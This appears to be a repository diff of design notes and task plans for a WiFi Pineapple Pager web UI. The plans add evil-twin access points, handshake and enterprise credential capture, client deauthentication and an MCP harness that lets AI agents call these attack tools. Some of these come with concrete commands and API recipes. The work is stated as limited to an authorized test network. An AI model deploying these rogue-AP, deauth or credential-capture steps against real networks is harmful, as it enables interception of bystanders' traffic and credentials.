"6 GHz requires WPA3 (SAE or OWE)." hint. Save payloads for both views
include `channel` (Open AP also `country`).
## 8. Automated verification
- `tests/test_pineap_bands.py` covers the channel/band helpers
(`ChannelBandTest`, `ChannelBandsConsistencyTest`, `ChannelFreqTest`,
`BandAuxTest` incl. DFS marker), `get_ap` (`GetApRadio1Test`,
`GetApRadio1AbsentTest`, `GetApRadioChannelFallbackTest`) and `set_ap`
(`SetApRadio1Test`: 5GHz open writes `radio1` sections + hop pause; 6GHz
WPA3-SAE accepted; 6GHz `psk2` rejected; disable removes the radio1 AP and
restores hop; 2.4GHz still uses the daemon path; 2.4GHz save removes a stale
radio1 AP; mixed 2.4GHz + radio1 rejected).
- **All 14 test modules pass at HEAD (`af5ff80`)**, run per-module in separate
processes per the repo convention (`test_auth`, `test_core`, `test_loot`,
`test_misc`, `test_pineap_bands`, `test_pineap_clients`,
`test_pineap_enterprise`, `test_pineap_modes`, `test_pineap_pool`,
`test_pineap_proxy`, `test_pineap_settings`, `test_recon`, `test_status`,
`test_ws`).
## 9. On-device verification
Run against the user's Pager at `172.16.52.1` (Pineapple Pager 24.10.1). All
checks passed:
- **2.4GHz unchanged:** Open AP save (channel 1) leaves `wlan0open`/`radio0`
intact and `pineapd.wlan1mon` untouched (`bands=2,5,6`, `hop=1`).
- **5GHz Evil WPA (WPA3-SAE, channel 36, VHT80):** `radio1.band=5g`,
`channel=36`, `htmode=VHT80`; `wlan1wpa` (netdev named `wlan1wpa` via
`option ifname`) comes up beaconing `Test5G` / WPA3 SAE (CCMP);
`pineapd.wlan1mon.hop=0`. `get_ap` reports `wpa.enabled=true` (after the
`disabled=0` fix).
- **Stock Pager UI coexistence:** the stock daemon's own `set_ap` (what the
pager UI uses to change the 2.4GHz Evil WPA) tears down the radio1 AP
netdev; the `wlan1wpa` UCI section survives and `get_ap` self-heals it with a
`wifi reload` (`/sys/class/net/<iface>` missing check). Under rapid reload
churn the `mt7921u` driver can transiently return EBUSY; a later reload
succeeds. The pager UI itself is unaffected.
- **Handshake capture:** `Examine` on channel 36 returns success; handshake
logging (`loghandshake`/`logpartialhandshake`) confirmed on. A live WPA
handshake file requires a physical client (not exercised).
- **Reboot persistence:** `wlan1wpa` UCI, `disabled=0`, `hop=0`, the procd
Mark VIII service, and the AP itself all survive reboot.
- **Disable path:** removing the 5GHz AP deletes `wlan1wpa`, resets
`radio1.channel=auto`/`band=5g`, restores `hop=1`; `wlan1mon` hopping
resumes (observed 6GHz ch13 → ch221 in 30s).
- **5GHz Open AP:** `wlan1open` (channel 44, open) brings up `Test5GOpen`
with `hop=0`.
- **6GHz AP:** `radio1.band=6g`, `htmode=HE80`, WPA3 SAE on channel 181
(6.855 GHz) comes up.
- **Cleanup:** disable restores the 2.4GHz baseline (`pager-open`, channel 1,
`hop=1`).
Known follow-ups: the Clients tab lists only `wlan0*` interfaces, so 5GHz AP
clients are not yet shown; live-client handshake capture is untested without a
physical client.
@@ -0,0 +1,112 @@
# Attacks + Sync + Harness Implementation Plan
> **For agentic workers:** REQUIRED SUB-SKILL: Use superpowers:subagent-driven-development (recommended) or superpowers:executing-plans to implement this plan task-by-task. Steps use checkbox (`- [ ]`) syntax for tracking.
**Goal:** Ship a trustworthy Mark VIII: one-click Evil WPA/Open/Enterprise attacks, device-truth state sync with a pineapd health monitor, and an on-device MCP harness.
**Architecture:** Extend the existing single-file `server.py` (pure-socket HTTP/JSON, no deps — the device python3 has no pip) with attack orchestration, a health-monitor thread, UCI-truth state reads, and a Streamable-HTTP MCP endpoint. Extend the vanilla-JS SPA (`www/js/views.js`, `app.js`) with an Attacks section and a Harness page. Tests are stdlib `unittest` with module-level monkeypatching (`tests/test_*.py`), run one module per process.
**Tech Stack:** Python 3.11 (stdlib only), vanilla JS, UCI (`uci show/set`), daemon unix-socket API (`/tmp/api.sock`), `hak5cmd`/`_pineap`, `iw`, `logread`, `hcxpcapngtool` (on device), MCP Streamable HTTP (2025-06-18).
## Global Constraints
- No new Python deps; no pip; device python3-light-compatible (no urllib/http.server/sqlite3 stdlib).
- Truth = device state (UCI `/etc/config/wireless`, `/etc/config/pineapd`, `iw dev`, live pineapd socket), never UI cache.
- Attacks only against `<authorized-test-ssid>` (authorized). No deauth blasts; band-aware inject only.
- SSID pool broadcast stays disabled (stock SIGSEGV bug).
- Writes must be verified by re-read before success is reported.
- Follow existing code style: `device_run()`, `daemon_sock_call()`, `_daemon_proxy()` helpers; `h()` DOM helper in views; routes registered with `ROUTER.add`.
- Tests: `python3 -m unittest tests.test_<module>` (one module per process).
## File Structure
- `payload/user/remote_access/pager-webui/server.py` — all backend: attacks API, health monitor, truth reads, MCP endpoint.
- `payload/user/remote_access/pager-webui/www/js/views.js` — Attacks + Harness views.
- `payload/user/remote_access/pager-webui/www/js/app.js` — routes + side-menu items.
- `payload/user/remote_access/pager-webui/www/css/app.css` — small additions for launchers.
- `tests/test_attacks.py`, `tests/test_health.py`, `tests/test_mcp.py`, `tests/test_getap.py` — new tests.
- `scripts/harness_stdio.py` — optional stdio MCP wrapper for stdio-only agents.
---
### Task 1: Backend truth reads — `get_ap` dual-radio + enterprise + mode derivation
**Files:**
- Modify: `payload/user/remote_access/pager-webui/server.py` (h_pineap_wifi_get_ap, h_pineap_mode_get)
**Interfaces:**
- Produces: `GET /api/pineap/wifi/get_ap``{open: {...radio0...}, wpa: {...radio0...}, radio1_open: {...}, radio1_wpa: {...}, enterprise: {enabled, ssid, enctype, key}, pool: {...}, radios: {radio0: {band,channel,...}, radio1: {...}}}`
- Produces: `GET /api/pineap/mode` → mode derived from live state; never `"unknown"` when `pineap_disabled`/`autossidpool` readable.
- [ ] **Step 1:** Rework `h_pineap_wifi_get_ap` to read all three AP pairs from UCI (wlan0open/wlan0wpa on radio0, wlan1open/wlan1wpa on radio1, wlan0ent enterprise) and return them as separate objects; include radio device info per radio.
- [ ] **Step 2:** Rework `h_pineap_mode_get`: derive mode = `advanced` if `autossidpool is False` or engine mismatch with preset; `passive`/`active` from stored preset ONLY when consistent with live `enabled`+`collect`+`advertise`; else `advanced` (never `unknown`).
- [ ] **Step 3:** Update `tests/test_pineap_modes.py` + new `tests/test_getap.py` for the new shapes; run all test modules; commit.
### Task 2: Attack orchestration backend
**Files:**
- Modify: `payload/user/remote_access/pager-webui/server.py` (new handlers + ROUTER.add)
- Test: `tests/test_attacks.py`
**Interfaces:**
- `POST /api/attacks/deploy` body `{kind: 'wpa'|'open'|'enterprise', ...fields}` → applies UCI + daemon, returns `{ok, verified: bool, detail}`
- `POST /api/attacks/stop` body `{kind}` → disables AP(s), resumes hop, returns `{ok, verified}`
- `GET /api/attacks/status` → per-kind `{active, ssid, iface, channel, band, live (iw dev check), handshakes: n}`
- `GET /api/attacks/handshakes` (reuse `h_handshakes_get`), `GET /api/attacks/hc22000` → runs `hcxpcapngtool -o` on captured pcap(s) into `/root/loot/hc22000/` and returns download
- `POST /api/attacks/deauth` `{bssid, client, band}` → band-aware inject: 2.4 → `_pineap INTERFACE INJECT wlan0mon` then `PINEAPPLE_DEAUTH_CLIENT`; 5/6 → `wlan1mon`
- `POST /api/attacks/enterprise` toggles PineAPE (`pineape_disabled`, `pineape_auth_pass`)
- [ ] **Step 1:** Write failing tests for deploy/stop/status/deauth (mock `device_run`, `daemon_sock_call`, `hak5`).
- [ ] **Step 2:** Implement handlers; verify tests pass; commit.
### Task 3: Health monitor + stabilization
**Files:**
- Modify: `payload/user/remote_access/pager-webui/server.py` (thread + helpers)
- Test: `tests/test_health.py`
**Interfaces:**
- `health_check()``_pineap PING`; on failure twice in a row: count SIGSEGV in `logread`; if growing → `uci set pineapd.@ssidpool[0].disable=1`, restart pineapd; bring `wlan1mon` up (`ip link set wlan1mon up`) if `iw dev` shows it down; only one fix action per interval (cooldown 20s).
- `start_health_monitor()` — daemon thread every 15s, started on server boot.
- `GET /api/health``{pineap: 'up'|'down', sigsegv_count, pool_disabled, wlan1mon_up, last_action, fixes: n}`
- [ ] **Step 1:** Failing tests for health logic (mock `device_run`, `hak5`).
- [ ] **Step 2:** Implement; verify on-device that SIGSEGV count stops climbing; commit.
### Task 4: Attacks UI
**Files:**
- Modify: `www/js/views.js` (3 launchers + shared shell), `www/js/app.js` (routes + menu), `www/css/app.css`
**Interfaces:**
- Menu: `Attacks` (icon `attack`) → `#/attacks` with tabs `#/attacks/wpa`, `#/attacks/open`, `#/attacks/enterprise`.
- Each launcher: fields + Deploy/Stop + status card (live from `/api/attacks/status`) + handshake/cred table + export buttons + deauth table of target clients.
- [ ] **Step 1:** Implement shared launcher shell + Evil WPA page (deploy/stop/status/export/deauth).
- [ ] **Step 2:** Evil Open page; Evil Enterprise page (creds table + clear + toggles).
- [ ] **Step 3:** Wire routes + menu; manual browser smoke test against device; commit.
### Task 5: MCP harness server + Harness UI
**Files:**
- Modify: `payload/user/remote_access/pager-webui/server.py` (`/mcp` endpoint)
- Create: `scripts/harness_stdio.py`
- Modify: `www/js/views.js`, `www/js/app.js` (Harness page)
**Interfaces:**
- `POST /mcp` — Streamable HTTP MCP: `initialize`, `notifications/initialized` (202), `tools/list`, `tools/call`, `resources/list`, `resources/read`, `prompts/list`, `prompts/get`; JSON responses; session cookie auth + Origin validation.
- Tools wrap Task 1/2 endpoints + `recon.query` (sqlite3 CLI read-only) + `loot.*`.
- Resources: recon tables, handshake files, skill markdown (bundled copies of pineapple-control/wifi-deauth/aircrack-suite), loot listing.
- Prompts: `evil-wpa-playbook`, `evil-enterprise-playbook`, `recon-playbook`.
- `GET /api/harness/capabilities` → human-readable capability doc for the UI page.
- [ ] **Step 1:** Failing tests for MCP JSON-RPC dispatch (`tests/test_mcp.py`).
- [ ] **Step 2:** Implement `/mcp` + capabilities endpoint; tests pass; commit.
- [ ] **Step 3:** Harness UI page (endpoint info, config snippets, capability explorer, pi.dev prompt generator); commit.
### Task 6: Deploy + on-device verification
- [ ] **Step 1:** Run full test suite locally (each module separately).
- [ ] **Step 2:** Deploy via `./scripts/deploy.sh --password '<device-password>'`.
- [ ] **Step 3:** On-device smoke: login, status, health endpoint, attacks deploy/stop round-trip (Evil WPA on 2.4GHz with `<authorized-test-ssid>` SSID — no deauth), enterprise deploy/stop, MCP `initialize`+`tools/list` via curl.
- [ ] **Step 4:** Leave device in clean state (no active attacks, hop resumed, pool disabled, wlan1mon up).
@@ -0,0 +1,179 @@
# Encryption Landscape Card — Ring + Key Redesign Implementation Plan
> **For agentic workers:** REQUIRED SUB-SKILL: Use superpowers:subagent-driven-development (recommended) or superpowers:executing-plans to implement this plan task-by-task. Steps use checkbox (`- [ ]`) syntax for tracking.
**Goal:** Replace the Encryption Landscape recon card's text headline + clipped canvas legend with a full-size plain-hole ring graph and a wrapping HTML legend (dot + label + count per encryption bucket).
**Architecture:** Single-file client-side change: the recon view in `views.js` drops the `encValue`/`encSub` text nodes, draws the doughnut with `legend:false` and a taller height, and populates a new HTML legend container from the existing `encCounts` bucket map. `chart.js`'s `MiniChart.doughnut` is unchanged (its canvas `legend` option is simply no longer used by the enc card). CSS adds flex-wrap legend styles.
**Tech Stack:** Vanilla JS (no framework), canvas via `MiniChart.doughnut` in `chart.js`, plain CSS in `app.css`. Device deploy via `scripts/deploy.sh --password '<device-password>'`. Tests: none exist for the frontend; verification is via the deployed device + backend test suite (must stay green).
## Global Constraints
- Do not alter data source, `reconEncBucket`, per-scan bucketing, re-sync, or the other four recon cards.
- Legend entries: colored dot + label + count, format `● WPA2 54`; buckets with zero APs hidden.
- Ring center hole stays plain (no text).
- Keep `MiniChart.doughnut`'s `legend` option in `chart.js` (used by no caller after this change, but harmless).
- Empty state text stays "No encryption data yet — run a scan."
- No comments added to code unless already present in the surrounding style.
- Deploy and verify on the device; backend `tests/` suite must stay green (291 tests).
---
### Task 1: Ring + HTML legend for Encryption Landscape card
**Files:**
- Modify: `payload/user/remote_access/pager-webui/www/js/views.js:1497-1507` (card markup)
- Modify: `payload/user/remote_access/pager-webui/www/js/views.js:2256-2322` (drawCharts enc block)
- Modify: `payload/user/remote_access/pager-webui/www/css/app.css` (after line 328)
- Test: none (frontend); verify via device sweep
**Interfaces:**
- Consumes: `RECON_ENC_BUCKETS` (6 names, `views.js:852`), `RECON_ENC_COLORS` (6 colors, `views.js:851`), `encCounts` object `{bucketName: count}`, `reconEncBucket(a.encryption)`.
- Produces: DOM `div#recon-enc-legend` under the enc card body, populated by `drawCharts`; `canvas#recon-encryption` redrawn with `{ legend: false, height: 120 }`. `encValue`/`encSub` variables are removed.
- [ ] **Step 1: Edit the enc card markup in views.js**
Replace lines 1497-1507:
```js
const encBody = titleCard('Encryption Landscape', null);
const encValue = h('div', { class: 'recon-card-value', text: '—' });
const encSub = h('div', { class: 'recon-card-sub', text: '' });
encBody.appendChild(encValue);
encBody.appendChild(encSub);
const encBox = h('div', { class: 'recon-chart-box' });
encBody.appendChild(encBox);
const encCanvas = h('canvas', { id: 'recon-encryption' });
encBox.appendChild(encCanvas);
const encEmpty = h('div', { class: 'recon-no-data', text: 'No encryption data yet — run a scan.' });
encBox.appendChild(encEmpty);
```
with:
```js
const encBody = titleCard('Encryption Landscape', null);
const encBox = h('div', { class: 'recon-chart-box' });
encBody.appendChild(encBox);
const encCanvas = h('canvas', { id: 'recon-encryption' });
encBox.appendChild(encCanvas);
const encEmpty = h('div', { class: 'recon-no-data', text: 'No encryption data yet — run a scan.' });
encBox.appendChild(encEmpty);
const encLegend = h('div', { class: 'recon-enc-legend' });
encBody.appendChild(encLegend);
```
- [ ] **Step 2: Remove the enc text-headline computation in drawCharts**
Replace lines 2256-2266 (the `encCounts` loop stays — only the `topEnc` block goes):
```js
let topEnc = null, topEncN = 0;
Object.keys(encCounts).forEach((k) => {
if (encCounts[k] > topEncN) { topEnc = k; topEncN = encCounts[k]; }
});
encValue.textContent = topEnc || '—';
encSub.textContent = topEnc ? topEncN + ' of ' + n + ' APs' : '';
```
with nothing (delete those lines). The `encCounts` computation immediately above must remain.
- [ ] **Step 3: Rewrite the enc chart block in drawCharts**
Replace lines 2308-2322:
```js
const enc = document.getElementById('recon-encryption');
if (enc && typeof MiniChart !== 'undefined' && MiniChart.doughnut) {
try {
if (aps.length) {
MiniChart.doughnut(enc, RECON_ENC_BUCKETS.map((k, i) => ({
label: k, value: encCounts[k] || 0, color: RECON_ENC_COLORS[i]
})), { legend: true, height: 66 });
enc.classList.remove('hidden');
encEmpty.classList.add('hidden');
} else {
enc.classList.add('hidden');
encEmpty.classList.remove('hidden');
}
} catch (e) {}
}
```
with:
```js
const enc = document.getElementById('recon-encryption');
if (enc && typeof MiniChart !== 'undefined' && MiniChart.doughnut) {
try {
if (aps.length) {
MiniChart.doughnut(enc, RECON_ENC_BUCKETS.map((k, i) => ({
label: k, value: encCounts[k] || 0, color: RECON_ENC_COLORS[i]
})), { legend: false, height: 120 });
enc.classList.remove('hidden');
encEmpty.classList.add('hidden');
} else {
enc.classList.add('hidden');
encEmpty.classList.remove('hidden');
}
} catch (e) {}
}
const encLegend = document.getElementById('recon-enc-legend');
if (encLegend) {
encLegend.innerHTML = '';
RECON_ENC_BUCKETS.forEach((k, i) => {
const c = encCounts[k] || 0;
if (!c) return;
const entry = h('div', { class: 'recon-enc-entry' });
const dot = h('span', { class: 'recon-enc-dot' });
dot.style.background = RECON_ENC_COLORS[i];
entry.appendChild(dot);
entry.appendChild(h('span', { class: 'recon-enc-label', text: k }));
entry.appendChild(h('span', { class: 'recon-enc-count', text: String(c) }));
encLegend.appendChild(entry);
});
}
```
- [ ] **Step 4: Add the legend CSS to app.css**
Insert after line 328 (the `.recon-no-data` rule):
```css
.recon-enc-legend { display: flex; flex-wrap: wrap; gap: 2px 10px; margin-top: 4px; align-items: baseline; }
.recon-enc-entry { display: inline-flex; align-items: center; gap: 5px; font-size: 11px; color: var(--text); }
.recon-enc-dot { width: 8px; height: 8px; border-radius: 50%; flex: 0 0 auto; }
.recon-enc-label { color: var(--muted); }
.recon-enc-count { font-weight: 600; color: var(--text); font-variant-numeric: tabular-nums; }
```
- [ ] **Step 5: Syntax check both JS files**
Run: `node --check payload/user/remote_access/pager-webui/www/js/views.js`
Run: `node --check payload/user/remote_access/pager-webui/www/js/chart.js`
Expected: exit 0, no output.
- [ ] **Step 6: Run the backend test suite**
Run: `cd <repo> && python3 -m pytest tests/ -q 2>&1 | tail -3`
Expected: `291 passed` (or the current passing count) — no regressions from unrelated files.
- [ ] **Step 7: Deploy to the device**
Run: `cd <repo> && ./scripts/deploy.sh --password '<device-password>'`
Expected: deploy completes with `EXTRACT_OK` / success output.
- [ ] **Step 8: Verify the enc card on the device**
Recreate the CDP venv if absent (`python3 -m venv /tmp/cdpenv2 && /tmp/cdpenv2/bin/pip install -q websocket-client`), then drive headless Chrome against http://<device-ip>:8080 (login `<device-password>`, go to `#/recon`, wait ~20s) and assert:
1. `document.getElementById('recon-encryption')` canvas has non-zero `width` attribute and the card is visible (not `.hidden`).
2. `document.getElementById('recon-enc-legend')` contains entries whose text matches `/WPA2/` and `/\d+/`, and no `recon-card-value` element exists inside the enc card.
3. Zero `Runtime.exceptionThrown` events.
Expected: all three pass; screenshots unavailable, text-state assertions only.
- [ ] **Step 9: Commit**
```bash
cd <repo> && git add payload/user/remote_access/pager-webui/www/js/views.js payload/user/remote_access/pager-webui/www/css/app.css && git commit -m "ui: encryption landscape card — ring + HTML legend with counts"
```
@@ -0,0 +1,102 @@
# Mark VIII Night Sprint — Attacks, Sync, Harness
Date: 2026-08-18
Status: Approved (user: "Approved, go build")
## Problem
The Mark VIII web UI (Pager firmware `Pineapple Pager 24.10.1`) is rough and
desyncs from the device. Interrogation (2026-08-18, live device `172.16.52.1`)
found:
1. **pineapd crash-loop**: 34+ `SIGSEGV`s in logread; stock daemon restarts
pineapd every ~30s. Root cause: SSID-pool broadcast (68 SSIDs, `disable='0'`)
segfaults pineapd; `wlan1mon` repeatedly fails to come up
("That device is not up" / "interface sysfs directory does not exist" every 5s).
2. **State desync**: `GET /api/pineap/mode` returns `mode: "unknown"` while the
device is effectively Active; mode is a UI-stored preference, never derived
from live state.
3. **Wrong-band AP cards**: `get_ap` reads radio1 (`wlan1wpa`/`wlan1open`)
whenever those UCI sections exist (even disabled leftovers), so the 2.4GHz
Evil WPA card silently shows 5GHz state.
4. **Evil Enterprise is dead code**: `views.pineap_enterprise` exists but has no
route in `app.js` routes map and no tab.
5. **Fire-and-forget writes**: UI toasts success without verifying device state.
6. **Hop hygiene**: radio1-AP feature pauses `wlan1mon` hop and leaves it paused
with leftover AP sections.
## Research findings (verified on device)
- Enterprise AP recipe: create `wireless.wlan0ent` (device `radio0`, mode `ap`,
encryption `wpa2`, key = passphrase), then
`PUT /api/settings/wifi/set_ap` over unix socket `/tmp/api.sock` with
`{"configs":[{"interface":"wlan0ent","ssid":...,"enctype":"wpa2",
"enabled":true,"key":...,"channel":1}]}`. Result: `wlan0ent` AP live with
`ieee8021x=1`, `wpa=2`, `wpa_key_mgmt=WPA-EAP` (PineAPE internal EAP server).
Daemon-side hostapd reload is async (poll for iface in `iw dev`).
- `hcxpcapngtool`, `tcpdump`, `sqlite3`, `aircrack-ng` present on device.
- MCP Streamable HTTP transport (2025-06-18): single endpoint, POST JSON-RPC,
respond `application/json` or SSE; Origin validation + auth required.
- Daemon unix-socket API (`/tmp/api.sock`) carries `/api/pineap/*`; TCP :1471
carries `/api/settings/*` and `/api/login`.
## Design
### Phase 1 — Attacks (top-level menu item)
New side-menu section **Attacks** with three launchers:
- **Evil WPA (PSK)**: SSID, passphrase, enctype (psk2/sae/owe), band+channel
(2.4 → `wlan0wpa`, 5/6 → `wlan1wpa` via radio1 feature), hidden. Deploy =
UCI write + hop pause + `wifi reload` + PineAP response engine + karma on +
handshake logging on. Stop = disable AP + hop resume. Live AP status from
`iw dev`/UCI (never UI cache), live handshake table (`hostap_handshake`),
**Export .hc22000** (on-device `hcxpcapngtool`) + hashcat command, per-client
deauth with band-aware inject interface.
- **Evil Open**: same shape for `wlan0open` / radio1 open AP.
- **Evil Enterprise**: SSID, encryption (wpa2/wpa3 enterprise), passphrase.
Deploy = verified recipe above + PineAPE on + auth-pass capture on. Live cred
tables (`hostap_basic`, `hostap_chalresp`) with Clear.
All three: verification banner ("applied & verified" vs "device state differs"),
Stop button, and a post-write poll (UCI + `iw dev`) before success toast.
### Phase 2 — Stabilize + sync
- SSID pool broadcast disabled on deploy of this build; server-side health
monitor: `_pineap PING` every 15s; two failures → check SIGSEGV growth in
logread → disable pool, restart pineapd, `ip link set wlan1mon up`.
- Mode derived from live `enabled` + `collect` + `advertise`; never "unknown"
when state is readable.
- `get_ap` returns `radio0` + `radio1` + `enterprise` APs as separate objects.
- All writes verified by re-read; success only on match.
- Hop resumed when no radio1 AP active; leftover radio1 sections reported.
### Phase 3 — Local Harness (MCP)
- `POST /mcp` on server.py: Streamable HTTP MCP server (JSON-RPC 2.0, pure
socket, no deps), auth via session cookie/Bearer + Origin validation.
- Tools: `recon.query`, `attack.deploy_evil_wpa` / `deploy_evil_open` /
`deploy_evil_enterprise` / `stop_attack`, `attack.deauth`,
`attack.capture`, `loot.handshakes`, `loot.export_hc22000`,
`loot.enterprise_creds`, `device.state`, `pineap.set_filter`,
`pineap.kick_client`.
- Resources: recon DB tables (ssid, wifi_device, handshake, hostap_handshake,
hostap_basic, hostap_chalresp), handshake files, loot listing, and the
opencode skills (pineapple-control, wifi-deauth, aircrack-suite) as
markdown resources.
- Prompts: attack playbooks (evil-wpa, evil-enterprise, recon).
- **Harness UI page**: endpoint + client config snippets (opencode/Claude/
Cursor), capability explorer, "prompt for pi.dev" generator, live state
snapshot.
- Optional stdio wrapper `scripts/harness_stdio.py` for stdio-only agents.
## Constraints
- Authorized target: `<authorized-test-ssid>` only (intermittent). Non-client
environment; no deauth blasts; verify on-wire via monitor capture when needed.
- SSID pool stays disabled (stock bug; re-enabling re-crashes pineapd).
## Out of scope
`1471` takeover, Cloud C2, campaigns, physical display mirroring.
@@ -0,0 +1,123 @@
# Mark VIII UI Hardening + Recon Polish — Design
Date: 2026-08-18
Status: Approved in advance by user (auto-approve; user unavailable for review)
## Context
Mark VIII (web UI for the WiFi Pineapple Pager) has been through major dev
changes. The user runs a live test tomorrow and needs the UI rock solid.
Verified on device:
- MCP server works: `tools/list` returns 16 tools; `device.state`,
`recon.aps` respond correctly.
- API endpoints used by the Recon "Actions" buttons work
(`/api/recon/examine`, `/api/pineap/set_config`).
- Recon detail endpoint is slow (~1.5 s) and can 503 when the sqlite DB is
busy; the UI swallows errors silently and can stay blank.
## Findings
1. **Recon top cards (5)**: equal 200 px cards with 20 px titles, centered
content, charts sized for wide cards. "Previous Scans" crams 5 icon
buttons + a 50+-option select into a ~220 px card → buttons stack into
three rows. "Channel Distribution" bar chart is unreadable at card width.
Handshakes toggle text wraps awkwardly.
2. **Channel map**: canvas lobes render but have zero interactivity — no way
to see which networks are under the cursor.
3. **Focus sidebar Actions**: "Capture WPA Handshakes" / "Stop Handshake
Capture" / "Examine BSSID" / "Examine Channel" work at the API level but
give weak feedback; there is no path from a recon target to the PineAP
evil-twin form.
4. **Robustness**: `loadDetail()` in the recon view swallows render/network
errors with `.catch(() => {})`; if rendering throws after `detailId` is
set, the page stays blank forever (guard short-circuits). `load()` has no
pending guard → overlapping polls. `hsAuto` (loghandshake) checkbox is
only synced at view creation — it drifts from the pager's own settings
when changed elsewhere (pager UI / another browser).
## Changes
### 1. Recon title cards — redesign (`views.js` + `app.css`)
New card anatomy (all five consistent):
- Compact header: 12 px uppercase muted title (clickable where it links).
- Primary value: 28 px bold.
- Sub-line: 12 px muted context text.
- Optional mini chart: fixed 96 px tall.
Cards (`flex: 1 1 0; min-width: 170px; height: 190px` — five fit one row
even in a ~1000 px pane):
1. **Wireless Landscape** — value: total networks (APs); sub: "N clients ·
M unassociated"; mini doughnut (APs/Clients/Unassociated).
2. **Channel Distribution** — value: busiest channel "CH 6"; sub: "N of K
APs on CH 6 · channels seen"; mini bar chart of channel counts.
3. **Encryption Landscape** — value: top encryption bucket; sub: "N of K
APs"; mini doughnut of buckets.
4. **Handshakes** — value: handshake count (links to
`#/recon/handshakes`); sub: "captured"; auto-collect toggle (restyled).
5. **Previous Scans** — value: scan count; sub: latest scan start time;
compact select row + single row of icon buttons.
Empty states get copy that matches the card ("No landscape data yet —
run a scan").
### 2. Channel map hover (`chart.js` + `views.js` + `app.css`)
- `MiniChart.channelMap` records per-lobe geometry on the canvas:
`canvas.__reconLobes = [{ ap, cx, half, topPx, basePx }]` (CSS px).
- `views.js` attaches `mousemove`/`mouseleave`/`click` to the map canvas:
- hit test: `t=(mx-cx)/half`, lift = `0.5+0.5·cos(πt)`, hovered if
`my >= basePx - lift·peakPx - 4` and `my <= basePx + 8`;
- tooltip div (absolute, inside `.recon-map-box`) lists every network
under the cursor: SSID/MAC/channel/freq/signal/encryption/vendor;
- click pins the tooltip until the next move or click;
- `mouseleave` hides it.
- Lobe geometry regenerates on every `renderChannelMap()` (redraw), so
stale geometry is impossible.
### 3. Focus sidebar: Actions validation + Send to PineAP (`views.js`)
- Existing buttons stay; toast feedback improved (already verified working
at API level; re-verified end-to-end in browser).
- New primary button **"Send to PineAP — Twin this network"**:
- encryption bucket `Open` → navigate `#/pineap/open` with prefill
`{ssid, hidden, channel, bssid}`;
- anything else → navigate `#/pineap/evilwpa` with prefill
`{ssid, hidden, channel, enctype}` where enctype maps from recon
encryption: SAE→`sae`, OWE→`owe`, WPA3-only→`sae`, else `psk2`;
- Enterprise networks still go to Evil WPA (psk2) — noted in the prefill
banner.
- Prefill mechanism: `window.PineAPPrefill = { set, consume }` (module
singleton in `views.js`); `consume()` clears after use so a stale prefill
never leaks into a manually opened form.
- `attackLauncher()` consumes the prefill when building the form (SSID,
hidden, channel via `chanSelect`, enctype, BSSID) and renders a muted
banner: "Prefilled from Recon — verify, set the passphrase, then Deploy."
Deploy is never triggered automatically (no attacks without an explicit
user action).
### 4. Robustness / sync hardening (`views.js`)
- `loadDetail()`: on fetch failure keep `detailId` unset so the poll
retries; surface "Scan data unavailable — retrying…" in the scan status
line; wrap the render body so one chart's exception cannot blank the
table (each chart draw also wrapped individually).
- `drawCharts()`: wrap each chart section in try/catch.
- `load()`: `loadPending` guard against overlapping polls; surface scan-list
errors in the status line.
- `hsAuto` re-syncs from `/api/pineap/get_config` on the 30 s slow poll
(stays in sync with the pager's own UI/settings changes).
- Version bumps in `index.html` for `app.css`, `chart.js`, `views.js`.
### 5. Verification
- Backend unchanged → existing `tests/` still pass (run the suite).
- Deploy via `scripts/deploy.sh --password` (device: 172.16.52.1).
- End-to-end in browser (device UI):
- login; recon page: cards populated with scan data; no blank-page state;
- click an AP row → focus sidebar → each Action button verified by
reading back state (`get_config`) and API responses;
- Send to PineAP → form pre-filled on the right tab (open vs WPA target);
- channel map click → tooltip shows networks under cursor;
- reboot-resilience spot check via service restart (pagerwebui restart).
@@ -0,0 +1,46 @@
# Encryption Landscape Card — Ring + Key Redesign
Date: 2026-08-19
## Problem
The "Encryption Landscape" recon card currently leads with a text headline
(`WPA2-PSK` / `54 of 96 APs`) that duplicates the ring graph below it and is of
little value. The ring itself draws an inline legend on the canvas in a single
row that overflows the 190px card width (6 labels) and gets clipped. The card
should be a proper ring graph with a readable key.
## Design
- Remove the `encValue` / `encSub` text line (`WPA2-PSK` / `54 of 96 APs`)
entirely. Title + ring + legend tell the whole story.
- Ring: existing doughnut grows to fill the card body (canvas ~120px tall),
plain hole. Segments come from the **actual** `reconEncBucket` family keys
(Open / WEP / WPA / WPA2-PSK / WPA2-Enterprise / WPA3-Personal / WPA3-PSK /
WPA3-Enterprise / Unknown) — the nominal six-bucket list was a wrong
assumption: `reconEncBucket` never returns `WPA2`/`WPA3`/`Enterprise`
verbatim, so the ring drew an empty ring on WPA2-dominated data.
Families are ordered by `RECON_ENC_ORDER`; colors cycle `RECON_ENC_COLORS`.
- Legend: move out of the canvas into real HTML below the ring. Flex-wrap so
entries never clip at 190px. Each entry: colored dot + label + count
(`● WPA2-PSK 44`). Zero-count families are never produced (built from
non-zero `encCounts` keys). The legend div carries both the class and the
id `recon-enc-legend` — drawCharts looks it up with `getElementById`, and a
class-only element made the population block silently no-op.
- Empty state unchanged: "No encryption data yet — run a scan."
- Data source, per-scan bucketing (`reconEncBucket`), re-sync, and the 5-card
layout are untouched. The other cards are untouched.
## Implementation notes
- `chart.js`: `MiniChart.doughnut` keeps the `legend` option for any other
callers (the recon landscape doughnut calls with `legend:false`; the enc
card switches to `legend:false` since HTML legend replaces it).
- `views.js`: drop `encValue`/`encSub`; build an HTML legend container
(`#recon-enc-legend`) populated in `drawCharts` from the same `encCounts`;
ring drawn with `{ legend: false, height: ~120 }` from a shared `encSegs`
array (real family keys, `RECON_ENC_ORDER`-sorted, cycled colors).
- `app.css`: `.recon-enc-legend` flex-wrap styles + dot/entry styles.
- Ring hole stays plain (no center text).
- On-device verification MUST assert the legend has non-empty entries
(class/id mismatch and the bucket-name mismatch both fail silently).
@@ -8,7 +8,7 @@
"title": "Mark VIII",
"author": "c4ch3c4d3",
"description": "Mark VII-style web management UI for the WiFi Pineapple Pager",
"version": "1.0",
"version": "1.2",
"category": "remote_access",
"tags": ["remote-access", "web-interface", "device-management", "pineap"],
"firmware": "Pineapple Pager 24.10.1"
@@ -2,7 +2,7 @@
# Title: Mark VIII
# Description: Mark VII-style web management UI for the WiFi Pineapple Pager
# Author: c4ch3c4d3
# Version: 1.0
# Version: 1.1
# Category: Remote-Access
# Tags: remote-access, web-interface, device-management, pineap
# Firmware: Pineapple Pager 24.10.1
@@ -28,7 +28,7 @@ get_pager_ip() {
}
LOG "cyan" "+---------------------------+"
